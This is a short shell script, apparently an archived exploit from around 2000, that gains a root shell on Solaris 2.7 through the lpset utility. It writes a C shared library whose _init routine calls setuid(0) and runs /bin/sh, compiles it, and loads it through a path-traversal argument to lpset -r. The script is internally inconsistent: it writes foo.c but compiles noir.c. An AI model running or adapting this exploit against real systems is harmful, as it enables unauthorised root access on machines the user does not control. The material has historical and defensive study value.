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- #!/bin/sh
- #
- # /usr/bin/lpset vulnerability in Solaris/SPARC 2.7
- # script by noir@gsu.linux.org.tr
- #
- # lpset seems to use strcat to append paths (-r)
- # but there is a special case /usr/lib/print/lib has to be present
- #
-
- cat > foo.c << EOF
- #include <stdlib.h>
- #include <unistd.h>
- void
- _init(void)
- {
- setuid(0);
- system("/bin/sh");
- }
- EOF
-
- echo "Compiling ..."
-
- gcc -fPIC -c noir.c -g -DSOLARIS -Wall
- ld -G -o noir.so noir.o -ldl
-
- chmod 755 noir.so
-
- rm -f noir.c
- rm -f noir.o
-
- /usr/bin/lpset -n xfn -r /../../../..$PWD/noir noir
- # www.hack.co.za [2000]#